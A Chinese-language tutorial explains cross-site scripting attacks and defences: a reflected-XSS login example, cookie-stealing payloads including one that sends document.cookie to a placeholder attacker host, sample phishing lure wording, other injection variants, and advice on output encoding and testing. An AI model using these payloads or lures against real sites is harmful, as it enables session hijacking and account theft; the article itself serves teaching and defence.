Cross-Site Scripting (XSS) 介紹與防禦
這篇文章主要說明 XSS的攻擊流程與方法,
舉實例說明駭客可以透過怎樣的輸入方式造成XSS,
最後對於網站安全防護提出建議。
XSS攻擊
JavaScript Injection, XSS等技巧是駭客最常用來攻擊網站的方法之一,
這樣的攻擊方法通有三方單位所組成
- 1. 受攻擊網站 (受害者)
- 2. 駭客
- 3. 瀏覽網站使用者 (受害者)
也就是說,駭客將一段 JavaScript 程式碼注入一個正常網站 (受害者),
接著等著使用者來瀏覽該受害網頁,以達到駭客所想要的目的
通常透過社交工程的方式,讓使用者有可能誤點該連結或是不知覺的情況下點選
例如:中獎通知、您的快遞通知線上簽收….等
駭客可以透過這樣的方式,執行一段 JavaScript 程式碼,
駭客的目的不外乎取得使用者上網的隱私資訊、帳號密碼、Cookie、購物資訊等
舉例來說:
有一個網站為 www.XSS_Vulnerability.com
駭客實際經過登入 name = Lily Hacker 之後發現 ,
該登入的過程會發出下列 http request (可用瀏覽器Developer Tool <F12> 觀察)
GET /login.cgi?name=Lily%20Hacker HTTP/1.0
Host: www.XSS_vulnerable.com
…
該網站回覆資訊為
<HTML>
<Title>Welcome!</Title>
Hi Lily Hacker
..
</HTML>
因此接下來,駭客便會思考,
如果該輸入的參數或是網址可以巧妙地修改,輸入給網站,
那麼回傳的結果是否會有所不同?
舉例來說,在網址列中加入一段 JavaScript 讀取 cookie
name=<script>alert(document.cookie)</script>
(註:Cookie通常會存有使用者驗證或是登入資訊)
因此,所送出的網址為:
http://www.XSS_vulnerable.com/login.cgi?name=
網站回傳的結果有可能變為
<HTML>
<Title>Welcome!</Title>
Hi <script>alert(document.cookie)</script><BR> …
</HTML>
如此一來,當該網頁回傳時,就會執行該 Javascript,顯示該網站存取的 Cookie
再進一步加工,駭客通常會將這樣的 Cookie 傳送至他希望的地方,
如 www.hacker_Cookie.com,由該網站接受所有的 Cookie
因此
name = <script>window.open(“http://www.hacker_Cookie.site/Cookie_collect.cgi?cookie=”+document.cookie)</script>
經過 URL 編碼之後( “+” 編碼為 %2B )
name=<script>window.open(“http://www.hacker_Cookie.site/Cookie_collect.cgi?cookie=”%2Bdocument.cookie)</script>
最後,整個 URL 變為
http://www.XSS_vulnerable.com/welcome.cgi?name=<script>window.open(“http://www.hacker_Cookie.site/collect.cgi?cookie=”%2Bdocument.cookie)</script>
但是,這樣還是很明顯阿? 眼尖的使用者一看就會看到怪怪的網址,www.hacker_Cookie.site
因此,再進一步加工, 透過社交工程,post 到知名的部落格上
例如:
我的網站有問題,可以幫我看一下嗎,點選這裡 (這樣就看不到網址了!)
您的掛號已送達,請點擊這裡簽收,或是透過寄送email的方式
JavaScript 可以存取哪些資訊呢?
1. Cookie
以 Chrome 為操作範例
Browser > F12 > Resources > Cookie >
由於 Cookie 多半與登入、認證、Remember Me、設定等有關,
所以 Cookie 駭客比較有興趣做進一步的分析
2. DOM (HTML) 該網頁上所有相關的資訊
其他JavaScript Injection 方式
除了 <script>…</script>的方式之外,還有常見的兩種:
1. <img src=”javascript:…”>:Browser 誤認為 Image 而直接執行,
同時也間接躲避scanner對於 <script> </script>關鍵字的偵測
2. <script src=”http://…”>: 當該 URL 很長的時候,特別有包含特殊支援時
XSS網站防護建議
1. 輸入字元檢查:
檢查該輸入字串是否含有可疑的 script 語法
這邊要特別強調的是,XSS的防護不可以儘靠輸入的檢查。
要有效防止XSS一定要在輸出檢查並且做適當的 Encoding!
2. 輸出檢查與 Encoding:
將相關的輸出檢查並且編碼後輸出,避免browser 執行不必要的程式碼。
也就是將特殊的字元,特別是 < or > 轉換為 < or >
&
→ & (ampersand, U+0026)<
→ < (less-than sign, U+003C)>
→ > (greater-than sign, U+003E)"
→ ” (quotation mark, U+0022)'
→ ‘ (apostrophe, U+0027)
3. 安裝防火牆:
透過防火牆,在 http communication protocol 過濾相關的 XSS
4. 定期測試與驗證
可透過簡單下列語法,於網址、各個可以輸入的欄位與變數輸入下列值,
若該網站有 XSS弱點,就會出現 Test的視窗
<script>alert(‘test’)</script>
駭客是如何透過特別的”輸入”躲過輸入檢查呢?
可參考這篇文章 https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet